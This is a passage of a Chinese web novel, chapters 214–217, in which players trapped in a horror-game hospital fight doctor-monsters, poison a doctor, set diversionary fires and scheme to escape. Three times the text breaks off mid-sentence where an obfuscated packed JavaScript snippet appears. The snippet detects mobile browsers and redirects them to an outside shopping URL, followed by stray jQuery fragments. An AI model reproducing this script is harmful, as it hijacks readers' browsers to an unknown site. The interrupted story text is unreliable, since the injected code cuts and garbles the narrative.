纯白的火焰,从她心口燃起。火焰瞬间蹿起,高大,炽热,奇异地带着一种圣洁。它温柔地吞噬了阿愿,吞噬了那尊悲悯的圣母玛利亚神像,吞噬了那具禁锢她数千年的十字架。 烈火熊熊,火光映照着每个人震惊的脸庞,却没有蔓延,只在那方寸之地燃烧。 冬逢初知道初与序怕火,将她挡在身后。 不知过了多久,火焰如同它出现时那般,熄灭了。 十字架、神像、阿愿,全都消失了。 原地,只留下一小片温热的灰烬。而在灰烬中央,有一小片未曾融化的雪花之地,正静静地、慢慢地,消融于尘世。 我的爱人,你莫悲,莫惧。我们之间,从来只有重逢,没有永别。 你归安,我归你。 214.坏孩子 第一个试验品彻底死亡,阿愿虽残了废了,但剩余精神力对医院来说,也是天大的用处。上级肯定早知她死亡一事,今夜值守的医生护士,无论一楼或五楼,一个都逃不掉惩罚。 阿愿的死亡让医院整体的精神力场开始崩塌,那些原本狰狞的怪物,形态开始不稳,几个精神力稍逊的医生怪物,开始勉强恢复了人形。 但这里可是五楼啊喂!能在五楼站稳脚跟的医生,哪个不是从尸山血海里爬出来的?几乎没有一个为此受影响,变回怪物形态。何况,即使没了那层怪物的皮囊,他们骨子里的凶戾和身手,也分毫未减。 一时间,地下室内情况更加危急。从楼下涌来的护士怪物也加入了战斗,和医生怪物配合默契。 初与序和冬逢初并肩站着,身上旧伤未愈又添新创。 单良脾气更躁,怪物形态的细长四肢狂乱舞动,硕大的独眼死死锁定初与序,手中忽然拿出一管药剂,嘶吼着朝她扑来。 “初与序……你死定了!”针管在昏暗中闪着寒光,里面装着毒药。 初与序眼神一凛,垂下眼不去与它对视,但身形如电,利落地避开挥来的利爪,足下发力,调整方向,手肘带着千钧之力撞向怪物脆弱的关节! “咔嚓!”一声,骨裂声响起。单良另一只肢体鞭子般抽来。初与序却仿佛预判到了它的动作,脚下一滑,贴着地面而过,双腿绞向它的支撑足,猛地将单良带得一个踉跄。 冬逢初默契地扑上攻击,牵制住其他想要上前干扰的怪物。 单良的独眼红光暴涨,所有攻击不顾一切地集中向初与序,毒针猛地刺下。初与序在狭小的空间内闪避,动作快得看不清,每一次都堪堪避开针尖。灰尘四起,让她的眉目淡去,只隐约瞧见她修长柔韧的身形。 她看准一个空档,猛地贴近,无视了抓向肩膀的利爪,任凭皮肉被撕裂,右手擒住单良握着针管的手腕,用力一拧。 剧痛之下,单良爪牙一松,毒针脱手飞出,叮当落地。 不等它再有反应,初与序闪身到它面前,以雷霆之速一脚踹在了单良胸腹之间! 巨大的力道让单良的身躯倒飞出去,翻滚几圈,重重砸在墙壁上。他身上的怪物形态迅速褪去,扭曲的肢体收缩,变回了那个穿着白大褂的人形。他蜷缩在灰烬里,大口呕着鲜血,只剩下出的气,没有进的气,显然初与序刚刚那一踹太狠,已是弥留之际。 初与序抬手,用染血的袖子随意抹去溅在脸上的血,弯腰,从冰冷的地面上拾起那管滚落的毒药。 单良瘫在她前方,每一次呼吸都扯动着胸前的伤,带出更多血沫。他脸色死白,眼神却死死盯在初与序身上,手捂着伤口,像是还想起来。 初与序没看他,目光落在角落那个瘦小的身影上。 小月站在那里,身体因恐惧和激动而微微发抖,一双眼睛却亮得吓人,看着地方的男人。 初与序朝她摊开手掌,递出那管毒药,道:“该你动手了。” 小月猛地一颤,视线从单良身上移到那管毒药,再移到初与序沉静的眼眸。恐惧让她指尖冰冷,但燃烧了太久的恨意,压过了一切。 她走过来,颤抖地接过了那管毒药。 初与序就站在那里,没有说话,静静地看着她。 小月深吸一口气,像是下定了某种决心,不再犹豫。她走到单良身边,蹲下身。 单良想挣扎,想咒骂,但重伤让他连抬起手指都困难,只能睁大眼看着这个他从不放在眼里的姑娘。 小月避开他的视线,咬着下唇,找准他颈侧的血管,将针尖毫不犹豫地刺了进去,缓缓推入了所有的药液。单良的身体猛地绷紧,瞳孔急速扩散,很快,他充满怨毒的眼神涣散。 他瘫软下去,再无声息。 医生和护士们见单良毙命,群龙无首之下更是陷入疯狂,攻击杂乱狠毒。初与序不再去管单良的尸体,和冬逢初会合,护着小月,边战边退,向通道口挪去。 就在这时,上方传来“哐!哐!哐!”三声。 头顶通风管道的铁栅栏被人从里面用力锤响,所有还能保持理智的人立刻抬起头,警惕地看着那里。 下一秒,又是“哐当”一声,那铁栅栏竟然被人从里面卸开!一个灰头土脸的脑袋钻了出来,黑发上还沾着一点血迹。 随歌咧开嘴,露出一口白牙,冲着下面浴血奋战的三人笑嘻嘻地打招呼:“哟!几位,忙着呢?本帅哥我来得还算及时吧?” 三人:“……” 初与序冷冰冰道:“怎么不等我们死了再来?” “能千里之外感知你们的计划现在来已经很好了行不!知道避开林志和那群怪物有多难吗!”随歌说着,动作倒是利落,手腕一翻,那柄竹扇赫然在手,对着下方混乱的战场猛地一扇! 一股浓郁得化不开的白色雾气凭空涌现,带着草木清香,迅速弥漫开来,顿时遮蔽了大部分视线,连那些怪物的嘶吼声都变得模糊。 “快go快go!”随歌喝道。 四人配合默契,随歌打头,率先冲入后方通道,初与序护着还有些懵的小月紧随其后,冬逢初断后,也退入了通道,几人沿着路迅速向五楼走廊撤离。 冬逢初最后一个从通道口踏出,重新回到五楼的走廊上。他刚走出房间门,还没来得及喘匀一口气,一股凌厉至极的劲风迎面袭来! 一脚结结实实踹在他心口,力道沉猛如山,冬逢初一口气没上来,张口见血,整个人狠狠撞在身边的墙壁上,五脏六腑都移了位,眼前阵阵发黑。 不等他缓过来,一只冰冷的手铁钳般扼住他的脖颈,两指压住他颈动脉。窒息感顿时传来。紧接着,一记狠辣的耳光扇在他脸上,打得他耳边嗡鸣不止,血腥味在口腔中弥漫开来。 他浑身都疼,看不清来人的面容。但单良已死,和他有这么大仇的,除了白阔,还能有谁? 周围隐约传来五楼其他孩子惊恐的低呼,但无人敢上前。 冬逢初被死死压制在冰冷的地面上,冰火两重天,动弹不得,每一次呼吸都带着铁锈味,他艰难地挤出气音:“放手……” 白阔手上力道未松,指甲嵌入他颈部的皮肉里。面上带着令人胆寒的笑模样,阴冷道:“拿走我的文件?你真行啊,还真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068030|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没被我发现。” 冬逢初颈动脉被死死扼住,血液不通,意识开始剥离。 就在他即将陷入黑暗的前一瞬,颈部的手却突然一松! 冰冷的空气猛地灌入肺腑,呛得他剧烈咳嗽,他手肘撑着地面,试图挣扎起身。然而,另一只手更快!五指如钩,带着千钧蛮力,狠狠掐住他受伤未愈的肩膀,指尖摁进了他的伤口。 “呃!”冬逢初闷哼一声,之前止住的血汹涌而出。 白阔甚至还未显露怪物形态,仅凭着这具人身,速度、力量,以及对人体弱点的拿捏,都强得可怕,快得连一旁的初与序都来不及做出反应,难怪连单良都对他有所忌惮。他是真冲着冬逢初的命来的。倘若他显露出怪物本体,估计连赵禾来,都难活。 与此同时,走廊上其他医生怪物猛地合围过来,死死拦住了想要上前帮忙的初与序和随歌。 冬逢初疼得眼前发黑:“你他妈……” 后面的话未能出口,白阔沾血的手猛地抬起,死死捂住他的嘴,将所有的声音与气息都堵了回去。 冬逢初被他捂着嘴,窒息感再次传来,他猛地张开嘴,不顾一切狠狠咬了下去。 “嘶——”白阔倒抽一口冷气,虎口处传来钻心的疼痛,皮肉被牙齿贯穿,鲜血滴落在冬逢初苍白的脸上。 他吃痛,气急败坏,猛地松开手,攥住冬逢初的头发,用上狠劲,将他整个人死死按回冰冷的地面,攥紧拳头狠狠砸在冬逢初的腹部和肋间,力道刁钻,专挑柔软处下手。 冬逢初胃部痉挛抽搐,忍不住干呕,但什么也吐不出来,只有腥甜的血沫不断从嘴角溢出。他每一次试图蜷缩身体或者反抗,换来的都是更重的拳头。最终只能用手臂护着头部,想着不能失明失聪。 不远处,初与序、随歌和小月被怪物死死缠住,那些医生铁了心要让他们亲眼看着冬逢初被活活打死。 初与序喘了口气,看准一个怪物抬腿踹来的时机,计算好脚步,用肩背硬生生接住了这一脚! 那力道将她整个人踹得向后跌去,方向不偏不倚,正是冬逢初所在的角落。她落地时顺势翻滚,恰好挡在了蜷缩在地的冬逢初身前。 白阔扬起的拳头带着劲风,正要再次落下,身下人却突然换成了初与序。他吓了一跳,拳头硬生生悬在半空,离她腹部仅剩些许。 “你怎么在这里?!”他声音里带着后怕。自己这一拳砸下去,以初与序瘦弱的身体,指定撑不住。 初与序低低地咳嗽着,鲜血从唇角淌下,她抬起眼,眸子里盈满了水光,气若游丝道:“白医生……我身上好疼……” 她本就伤痕累累,此刻刻意收敛了所有锐气,蜷缩在那里。 白阔看着她那副模样,悬着的手立刻放下,眼底的暴怒被担忧取代。他俯身,不算温柔地将初与序打横抱起。 “都停下。”他转过头,淡淡道。 那些正在围攻随歌和小月的怪物闻声,动作齐齐一顿,随即转变回人形,迅速后撤,让出一条通路。 白阔抱着气息微弱的初与序,暂时放过了冬逢初,径直朝着医务室的方向走去。 215.坏孩子 白闽将初与序放在医务室的床上,转身去拿旁边的药品。他拉起她的衣袖,在看到她左手腕内侧一排整齐的旧伤疤时,愣了一下。初与序看见他眼底闪过复杂的情绪,或许有一丝心疼,但并没有开口,只是继续替她处理着刚刚的伤。 初与序闭着眼,大脑却在飞速运转。片刻后,她睁开眼,看向没什么表情的白阔。 她虚弱道:“白医生……” 白阔没抬头,专注于手上的动作:“嗯?” “刚刚,谢谢您。” 白阔扯了下嘴角:“没多大事,也是你自己撞上来的。” 初与序轻轻叹了口气,犹豫着想了想,才开口:“今晚闹得这样大,医院上面会不会怪罪下来?” 白阔道:“这不是你该操心的事。” 初与序垂下眼,声音更轻了些,担忧道:“我只是不想让您再因为这些事情烦心。您下午应该是去办重要的事了,若是转眼……就闹出人命,恐怕不太好交代……” 她顿了顿,继续小心翼翼道:“冬逢初他确实胆大包天,竟然去拿走您的东西,还害您担心。方才看他的样子,怕是也失去了半条命了……” “与其让他就这么轻易死了,脏了您的手,还要担上不是。不如,先留着他?” 白阔终于掀起眼皮,扫了她一眼:“那你说怎么处理。” 初与序得到默许,继续道:“一直听说五楼禁闭室可怕,空着也是空着。不如把他关进去,锁死了,不给药,不给食。他若命大,自己能熬过去,那是他的造化,以后或许还有用。他若熬不过去,悄无声息地死在里面,那也是他咎由自取,怨不得旁人。到时候,上面问起来,您只说他是旧伤复发,或是自己熬不住疯了……总比您现在当众打死他,要干净利落得多。” 白阔沉默地替她包扎好最后一道伤口,将染血的棉签扔进垃圾桶。他站起身,居高临下地看着床上的初与序,最终低笑了一声。 “倒是想得周全。”他淡淡道,“那就依你。” 接着,他留下一句轻飘飘的“好好休息,有事找我”,就转身离开了医务室。 走廊上,其他五楼的孩子被医生驱赶回自己的病房,两个医生面无表情地架起地上奄奄一息的冬逢初,将他一路拖到已经空了的地下禁闭室,狠狠扔在地上。 随歌悄悄跟在后面,直到禁闭室铁门关上,医生的脚步声远去,他才蹿到铁栏边,蹲下来,伸出食指小心翼翼地去探冬逢初的鼻息:“兄弟?兄弟你可别死啊!” 指尖传来微弱的气息,还好,还活着,只是暂时昏迷过去了。 随歌松了口气,立刻抽出竹扇,对着冬逢初卖力地扇动着。柔和的绿光自扇面流淌而出,缓慢地滋养着那些伤口。 接着,他又从面板里掏出一个巴掌大的小瓶子,里面装着莹绿色的液体。 “这可是我压箱底保命的好东西,保留了四年都不舍得用呢!”他轻轻掐住冬逢初的下巴,小心翼翼地将药剂给他灌了进去,“听说喝下去死人都能蹦跶两下,兄弟你明天一定能活蹦乱跳的!” 做完这一切,他把瓶子一丢,继续认命地挥动竹扇,持续治疗。 约莫过了一个小时,走廊外彻底安静下来。就在这时,禁闭室后方的通道里,传来了轻微的脚步声。 随歌“嗷”一嗓子就跳了起来,抓起竹扇就要攻击,警惕地望着声音来源。 却见初与序拎着个不大不小的袋子,从阴影里走了出来,脸上没什么表情。 随歌这才松了口气:“吓死我了!你终于来了!” 初与序走到他旁边,挨着冰冷的墙壁坐下,将手里的袋子放在地上,随歌好奇地凑过去扒拉了一下,里面装着几瓶水。 他也重新坐回去,压低声音:“冬逢初被关禁闭室,是不是你劝那个白大褂的?” 初与序淡淡地“嗯”了一声:“他大概什么时候能醒?” 随歌挠了挠头,也有些不确定:“这个可说不准,最快可能十来分钟,最慢嘛……搞不好等咱们回了永冬之城才能醒。” 初与序轻轻伸出手,将冬逢初额前染血的刘海小心翼翼地拨开,露出他清秀的脸庞,毫无血色。她一点一点擦拭着他脸上已经半干的血迹,动作轻柔,生怕弄疼了他。 忽然,手腕被一只微凉的手轻轻握住。 初与序动作一顿,低头看去。 冬逢初不知何时已经半睁开了右眼,眼神还有些涣散,带着虚弱,温柔地看着她。他嘴唇动了动,似乎想说些什么,却没有发出声音。 “醒了醒了!”随歌兴奋得蹦了起来,“看看!看看!我就说本帅哥的压箱底宝贝药有用吧!” 他忽然从怀里掏出三瓶草莓牛奶,不由反思地塞给初与序一瓶,又想往冬逢初手里塞。 初与序和冬逢初:“……” 现在这情况,喝个锤子的草莓牛奶啊。 初与序没理会牛奶,轻声问冬逢初:“能动吗?” 冬逢初连摇头的力气都没有,只是轻微地眨了眨眼,用口型说:不、能。 初与序见状,拿起那瓶草莓牛奶,拆开吸管,然后又拧开自己带来的矿泉水瓶,将吸管插进了矿泉水里,再将吸管另一端放在冬逢初唇边。 冬逢初就着她的手,小口小口喝着清水,水冲淡了喉咙里的血腥气。 初与序转向还在为“草莓牛奶被辜负”而郁闷的随歌,问道:“中层情况怎么样?” “别提了!”随歌一听这话就抓狂,“从禁闭室逃出来后,我就一直想找机会上五楼和你们汇合,可林志那玩意跟疯狗似的追着我不放!蒋川倒没什么特别的举动,就在一旁看戏。后来中层所有医生护士突然往五楼涌,我就知道肯定出大事了!赶紧找了个通风管道,费了老鼻子劲儿才爬上来,差点没把我卡在半路!” 他话音刚落,系统音响起: 【恭喜各位玩家完成副线任务——「释放痛苦的灵魂」。】 【基于任务完成度及选择倾向(与医院对立面),主线任务已更新。】 【主线任务:在剩余时间内(最后一日)存活,并带领所有被困孩子逃离善佑医院,彻底摧毁此地。】 【祝各位任务顺利。】 地下空间一时间陷入一阵沉默,随歌挠了挠头,看向初与序:“啥?主线任务更新了?就剩最后一天了,天亮后,你们有啥打算没?” 初与序沉思片刻,道:“我们还需要你明天在中层制造一场足够大的混乱,动静越大越好,最好使用‘恢复身形药丸’,你可以……放火。” 随歌眼睛一亮:“我就知道你要搞大的。” 初与序点头:“必须大到能将白阔引下去,并且能拖出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085174|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,到时候需要很强的战斗力,你需要在中层找几个身手不错的孩子合作。明天,我也会让五楼一些孩子下去帮你们。” 她顿了顿,继续道:“我们会想办法,尽量不使用武力,利用规则让整个副本的系统崩坏,门禁失效,到时候就能带所有孩子离开。” 计划讲明,随歌一拍大腿:“成!这事儿包在我身上!” 他站起身,打了个哈欠,“那我现在就得回四楼准备去了,天亮可就不好走了。” 他与初与序和冬逢初道了别,动作利落地爬回通风管道,还不忘从里面重新将铁栅栏门拉上,伪装成原样。 阴暗的禁闭室,只剩下初与序和冬逢初。 初与序本打算留在这里陪他,却被冬逢初看穿,耳夹里传来他的心念:“你先回去休息,我没事。明天能动,就去广播站找你。” 初与序沉默地看了他几秒,只得作罢。 她看向冬逢初搭在冰冷地面的手上,那上面血迹斑斑。铁栅栏的缝隙足够宽,十五岁少年清瘦的手腕可以轻易穿过。 她忽然伸出手,轻轻拉过冬逢初冰冷的手,从栅栏缝隙中带了出来。然后她低下头,一个吻落在他的手背上。 吻很轻,一触即分。 她又将他的手从栅栏那边放了回去,没有弄疼冬逢初一点。 初与序这才站起身,最后看了冬逢初一眼,道:“明天见。” 说完,她转身,没入通道的黑暗中,离开了这片血腥的地下空间。 但她并没有回505,而是来到515门前,抬手轻轻敲了三下。 过了一小会儿,门被推开一条缝隙,小月警惕地探出头来,见是她,明显松了口气,连忙侧身让她进来。 “怎么样?冬……冬逢初他没事吧?”小月急忙压低声音问道。 初与序走到房间中央,道:“还活着,在禁闭室。” 小月拍了拍胸口,喃喃道:“活着就好,活着就好……” 初与序没再多说,直接切入正题:“你还记得刚才那个黄头发……”她顿了顿,想起十五岁的随歌此时还是黑发,改口道,“拿着竹扇的男生吗?” “记得!是他救了我们!”小月点了点头。 “嗯。”初与序道,“明天,需要你带几个五楼身手利落的孩子,去中层帮他,他是我们的队友,可以完全信任。” 小月先是一口答应:“好!”随即又蹙起眉,“可是,通风管道太窄了,路我也不知道,那么多孩子,很难准时安全地到达中层啊。” “不用担心这个。”初与序语气依旧没什么起伏,“到时候,医院所有的门禁都会失效,你们直接从电梯和楼梯下去。” 小月惊讶地瞪大眼,张了张嘴,有满腹疑问,想知道门禁是怎么会突然消失。但看着初与序没什么表情,却莫名让人信服的脸,还是没问出。 她郑重道:“我明白了,我会找人的!” 事情交代完,初与序便打算离开。 小月看着她难掩疲惫的神情,忍不住开口:“初与序,你今晚还要回505吗?我刚刚好像看到付遇又守在那附近,要不,你还是在我这里将就一晚?” 初与序脚步未停,只是摇了摇头:“不必了,多谢。” 她拉开门,走了出去,没有回505,反而折返回那间空旷的医务室。 216.坏孩子 天光微亮,刺耳的起床铃准时响起。 初与序从医务室冰冷的床上睁开眼,视线尚未完全清晰,便看到一道修长的身影立在自己床边——白阔正背对着她,在药品推车前慢条斯理地调配着药剂。 幸好自己昨晚回了医务室睡,鬼知道这人大清早还来这里。 察觉到她的动静,白阔转过身,温和地笑:“醒了?感觉怎么样?” 不等初与序回答,他又自顾自接了下去:“你既然到了五楼,按规定是不能再回一楼了。不过,我昨晚和上级请示,把你调到我身边做助理,以后,那些打打杀杀的任务,就不用你去接了。” 初与序垂下眼,掩去眸中思绪:“谢谢白医生。” “不必客气。”白阔摆摆手,“你去病房收拾一下自己的医务用品,可以搬到我办公室旁边的独立病房。我去办公室等你。” 初与序点了点头,没再多言,起身下床,朝着505病房走去。 她推开505的门,室内空无一人。走到衣柜前,只象征性地拿了一两件干净的病号服和简单的洗漱用品。随后又拉开房门。 她脚步一顿。 付遇正抱着胳膊,斜倚在门外的墙壁上,眼神冰冷,注视着她。但她身上并没有杀气,似乎并不打算动手。 初与序平静道:“有事?” 付遇扯了扯嘴角:“来恭喜你啊,我记得你还有一个【NPC敌意?20%】的debuff,结果这么快就取得了NPC的信任,真是好本事。” 初与序对她的阴阳怪气充耳不闻,道:“今天是副本最后一天,我猜,你们队伍对通关的办法,毫无头绪,甚至你现在,无法和林志与蒋川取得直接联系。” 她抬眼:“既然如此,为什么还不放弃杀我们?” 付遇语气更冷:“你以为我们想?你们几个难杀得狠,我们不杀你们,屠宰场的人也不会放过你们,到时候,我们三个一样要受牵连。” “那为什么非要杀我们?”初与序追问。 付遇嗤笑一声:“想杀就杀了,哪来那么多理由?看你们不顺眼,这个理由够不够?” 初与序闻言,朝她极轻地笑了一下,带着难以言喻的意味。 她没再说话,深深地看了付遇一眼,随即转过身,抱着衣服,头也不回地走开。 白阔办公室隔壁确实有一间小型的独立病房,房间狭小,但异常干净,充斥着消毒水的气味。初与序一向不喜欢这种太清冽的怪味,皱了皱鼻子。 她刚把东西放下,白阔就走到病房门口,对她说:“我出去看一下纪律,你待在房里,不要乱跑。” 初与序柔柔地应了一声:“好的,白医生。” 脚步声并未立刻远去,白阔似乎在她门口停留了一会儿,或许是出于习惯性的谨慎。但最终,或许是觉得一个脸长得很乖的小助理翻不出什么风浪,初与序只听见外面传来办公室门被轻轻带上的声音,没有落锁。 初与序站在门后,安静等待了几秒,随后拉开自己的房门,走廊上没有医生。她转到白阔办公室,推门径直走了进去。 白阔的办公室依旧整洁,初与序没有乱翻,目标明确地走向了某个存放着待处理文件的抽屉。昨天整理书籍时,她便早已注意到这里。 抽屉上了锁,初与序顿了一下,从病号服内衬口袋里摸出两根铁丝,轻轻探入锁孔,拨动试探。 只听“咔哒”一声,锁开了。 初与序拉开抽屉,里面堆放着一些她昨日没有见过的文件。她有序地翻找着,手指掠过一份份报告,最后停在了一份手写的日志草稿上。 上面的字迹略显潦草,显然是匆忙间记下的: 「……文件遗失,事关重大,绝不能上报……需尽快寻回,或寻替代方案弥补。若被院长知晓……」 后面的话没有写完,签名是白阔,写给同事的。 初与序看着这几行字,拿出早就准备好的两张拷贝纸,覆盖在日志上。她用一支炭笔快速将关键内容拓印了两份。然后将日志原样放回,关上抽屉,锁好。 她将那两张拷贝纸仔细折好,重新塞入口袋。然后像进来时一样,悄悄退出办公室,将门恢复成虚掩的样子,才回到自己的病房。 一直平安待到午后,孩子们午休时间,整个五楼静悄悄的。医生办公室区一片静谧,白阔难得清闲,靠在办公桌的椅子后,翻看着一本旧书。 初与序端着一杯热咖啡,走到他桌面,将杯子放在他手边不远处:“白医生。” 白阔目光没离开书页:“嗯,谢了。” 初与序没立刻离开,好奇地看向他手中的书,说:“白医生看的书名字好深奥,我都看不懂呢。在医院,您这样有学问的医生,一定受院长器重吧?” 白阔闻言,抬起头,目光落在她带着仰慕的脸上。 “器重谈不上。”他语气平淡,说,“不过是院长信得过,有些要紧的事,会交给我去办罢了。” 初与序微微偏头,用一种甚是钦佩的目光看着他,说:“我就知道,院长一定把很重要的东西都交给您保管吧?我生母以前经常说,希望我长大成为‘厉害’的人。我想,那就是像您一样。” 白阔被逗笑,摇了摇头,说:“你生母倒是望女成凤。算不上厉害,不过,院长办公室和几个核心区域的权限卡,倒确实是在我这里保管着。” 权限卡。 他还是亲口说出了这个词。 初与序说:“都说滴水之恩当涌泉相报,您救了我,我自然要报您很多。院长最信任的就是您了,我还得跟在您后面多多学习。” 白阔没再继续这个话题,显然任务点到即止即可。他重新沉浸入书中,不再回话。 初与序微微垂下眼,退到不远处的墙角。 天色仿佛被浸透的宣纸,一层层黯淡下去,最终沉入了不安的墨蓝。整个善佑医院住院部都笼罩在诡异的氛围里,医生们敏锐地察觉到不对,来回巡查,将中层的“孩子”翻来覆去查了好几遍,但查不出异常。 就连前两天上蹿下跳的随歌和林志,也安静得像换了个人,一个坐在地上看书,一个靠在墙角假寐。 忽然,走廊上,一直盘腿坐着的随歌,抬起了头。他看向墙壁那面老旧的挂钟上,时针指向了六点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085175|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他合上书,轻轻站起身,然后转过头,与散落在各处的“孩子”们,极快地对视了一眼。 那几个孩子收到了指令,几乎同时从原地站起来,朝着不同的方向,四散走开。 随歌将书随手塞进怀里,手也跟着插进了病号服宽大的口袋,拿出一盒火柴,朝着护士站走去。 中层的护士向来散漫,此刻,当值的护士已经喝得烂醉如泥,趴在桌上不省人事,桌面上横七竖八倒着几个啤酒瓶。 随歌抬手在鼻子前扇了扇酒味,看了看堆积如山的文件,又看了看剩下的酒。一把抓起酒瓶,手腕一倾,将酒液浇在了那些纸张上。 接着,他擦亮火柴,火苗跳跃着诞生。 他盯着那簇火苗,嘴角慢慢勾起一个笑眯眯的弧度。 然后随歌松开手指,那点火星轻飘飘的,坠落在被酒精浸透的纸堆里。 “轰——!” 仿佛只是一瞬间的事,橘红色的火舌蹿起,带着咆哮,吞噬了整张木质桌子。浓烟滚滚而去,焦煳味弥漫开来。 灼热的气浪扑面而来,逼得随歌眼泪出来。他后退一步,欣赏了几秒自己的杰作。 他迅速抓起桌上另外几瓶酒,退出护士站,飞快冲向二楼的其他角落。每到达一处标记好的地点,他就熟练地将瓶中剩余的酒精泼洒出去,然后擦亮火柴,轻轻抛下。 很快,整个二楼,多个地方,不分先后地腾起了熊熊火光。 火焰连接成片,浓烟像黑色的巨龙,顺着楼道向上攀爬。哭喊声、尖叫声、咆哮声混杂在一起,整个中层变成了炼狱。 随歌刚在二楼最后一条走廊的杂物堆上泼完烈酒,他捏着火柴,正要松手。 背后,一道阴风袭来! 随歌浑身的寒毛猛地扎起,第六感发挥作用。他根本来不及回头,凭着本能,猛地抽出竹扇,在千钧一发之际唰地展开,堪堪挡在背后。巨大的力道从扇骨传来,震得整个人向后踉跄了好几步,另一只手拿着的火柴脱手飞去,飞到外太空去了。 他骇然抬头,偷袭者正是林志。他已吞下了“身形恢复药丸”,此时不再是少年模样,身形拔高,眉眼冷厉,手中蝴蝶刀煞气逼人。 这孙子竟然不带自己,提前吞了药! “妈的,你耍无奈!”随歌吐出一口血沫,面对成年的林志,他十五岁的体型无异于螳臂当车。 生死一线,他再无犹豫,空着的左手探入面板,摸出药丸扔进口中,囫囵咽下。 药丸入腹,仿佛点燃了一团火。 他的身形在呼吸间自然拔高,舒展,恢复了成年男子的修长挺拔,力量如潮水般涌回四肢百骸。身上的蓝白病号服也随着一起增大,合身地穿在身上。 力量彻底返回,随歌猛地挥动竹扇,带着一道凝视的青绿流光,狠狠撞上蝴蝶刀锋。 两人皆是浑身一震,恢复身形后,随歌虽还是治疗辅助,但总算有了勉强招架之力,不再像之前那般毫无还手之力,拖时间没有问题。 “你他妈非要这时候来坏我好事?!”他怒骂道。 “废话真多!”林志冷笑一声,攻势更加残暴。 217.坏孩子 随歌心知久守必失,脚下步伐急转,试图向旁边另一个开着门的空房间退去,想借助狭窄空间限制林志武器的发挥。 “想跑?”林志说。 随歌半只脚已经踏入房间门槛,看着他眼中明晃晃的算计,刚意识到不对,林志就猛地前冲,身体凌空跃起,一记势大力沉的鞭腿,狠狠踹在随歌胸口! 纵然恢复了成年体型,硬吃这一脚也不好受。随歌眼前一黑,喉头腥甜狂涌,整个人如同被雷锤击中,重重砸在房间角落一堆杂物上,墙面簌簌落下灰尘。 “咳……咳咳……”他瘫在墙根,剧烈咳嗽,大口大口鲜血从嘴角溢出,感觉肋骨都断了几根。 他咬着牙,用手肘撑地,还想挣扎着爬起来。 “嗖!嗖!”几声,顿时,从旁边那堆杂物中猛地射出几根乌黑的绳索,缠上了他的手腕和脚踝。绳索头带着铁扣,咔嗒一下死死锁住。 随歌心中一沉,用力挣扎,那绳索却越收越紧,勒得他皮开肉绽,鲜血直流,整个人被这机关禁锢在冰冷的地面上。 林志慢悠悠地踱进来,站在他面前,居高临下地瞧着他。 逃不掉了。 意识到这点,随歌索性卸了力道,后背重重靠上墙壁,扯出一个无所谓的笑。 “喂,林志,你这机关设得真是时候,把老子给压住了。”他声音有些沙哑,“咱们好歹也一起被关过禁闭,算有点革命友谊吧?至于这么打打杀杀……” “闭嘴!”林志怒喝道,他最反感随歌这副死到临头还嬉皮笑脸的模样,像是根本不在意自己会不会死,仿佛他精心布置的机关到头来没什么用。 他一步踏前,冰冷的压迫感扑面而来。 接着猛地伸手,狠狠攥住了随歌的头发,用力向后一扯。 “呃!”随歌痛得闷哼一声,头皮传来撕裂的疼,脑袋被迫扬起脖颈拉出一条脆弱的弧线,喉结不受控制地上下滚动了一下。 这个姿势,将他最致命的部位,暴露在了敌人面前。 紧接着,一点冰冷的触感,抵在了他喉结下方的皮肤上。 是蝴蝶刀的刀尖。 那寒意是如此的清晰,穿透皮肤,直抵骨骼。随歌全身紧绷,下意识屏住呼吸。他看到林志眼中那片深不见底的杀机,被迫艰难痛苦地保持着这个姿势。 随歌说:“喂……你……你不会来真的吧……” 他试图在林志的眼睛里找出一丝一毫的动摇,然而没有,对方握刀的手稳如磐石。 随歌忽然想,他好像真的会死在这里。 【二楼失火!全员警戒!二楼失火!全员警戒!】 初与序站在五楼大堂内,听着系统刺耳的警报声。 原本聚集在这里的孩子们被医生赶回了各自病房,偌大的空间里,只剩下白阔、初与序,以及一位站在不远处,看上去资历深厚的老医生。 白阔对警报显得兴致缺缺,不过是中层失火,自有其他医生去处理。 他整了整衣袖,侧首对初与序淡声道:“走吧,回办公室。” “白医生,请留步。” 白医生脚步一顿,有些意外地转过头。 见初与序只端着一份薄薄的文件,低眉顺眼的恭敬姿态,走到他面前,微微欠身,将文件递上。她后退抬眸,对白阔乖顺地笑了笑,说:“白医生,这是您上午吩咐我整理归档的一份文件,需要您最后查收确认一下。” 白阔不疑有他,随手接过,漫不经心地扫了一眼。 他脸上的表情猛地凝固住,瞳孔缩小,脸色苍白。 